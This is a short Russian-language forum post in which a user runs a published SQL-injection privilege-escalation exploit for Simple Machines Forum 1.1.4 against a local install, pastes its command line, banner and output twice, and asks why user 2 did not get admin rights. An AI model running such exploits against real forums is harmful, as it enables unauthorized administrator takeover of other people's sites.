Rashid
26.10.2008, 07:24
Эксплойт: http://www.milw0rm.com/exploits/5826
Запускаю:
# python ./smf.py localhost /smf/ i3sdq9d8v1pe4fr20r6qjnqcs5 2
#================================================= ================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
# #
# ###################################### #
# # Let's get administrator rights!!! # #
# ###################################### #
# #
# Discovered By The:Paradox #
# #
# Usage: #
# ./Exploit [Target] [Path] [PHPSessID] [Userid] #
# #
# Example: #
# ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 #
# ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 #
#================================================= ================#
[.] Exploit Starts.
[+] Trying to read Sesc
[+] Sesc has been successfully read ==> 891439426d210d5c6e1d50cd68b54f0c
[+] Creating three labels...
[+] Sql code is going to be injected.
[+] All done.
Now user with ID_MEMBER 2 should have administrator rights.
-= Paradox Got This One =-
Насколько я правильно понимаю user with id=2 должен получить administrator rights, но этого не происходит.
Что я делаю не так???
Запускаю:
# python ./smf.py localhost /smf/ i3sdq9d8v1pe4fr20r6qjnqcs5 2
#================================================= ================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
# #
# ###################################### #
# # Let's get administrator rights!!! # #
# ###################################### #
# #
# Discovered By The:Paradox #
# #
# Usage: #
# ./Exploit [Target] [Path] [PHPSessID] [Userid] #
# #
# Example: #
# ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 #
# ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 #
#================================================= ================#
[.] Exploit Starts.
[+] Trying to read Sesc
[+] Sesc has been successfully read ==> 891439426d210d5c6e1d50cd68b54f0c
[+] Creating three labels...
[+] Sql code is going to be injected.
[+] All done.
Now user with ID_MEMBER 2 should have administrator rights.
-= Paradox Got This One =-
Насколько я правильно понимаю user with id=2 должен получить administrator rights, но этого не происходит.
Что я делаю не так???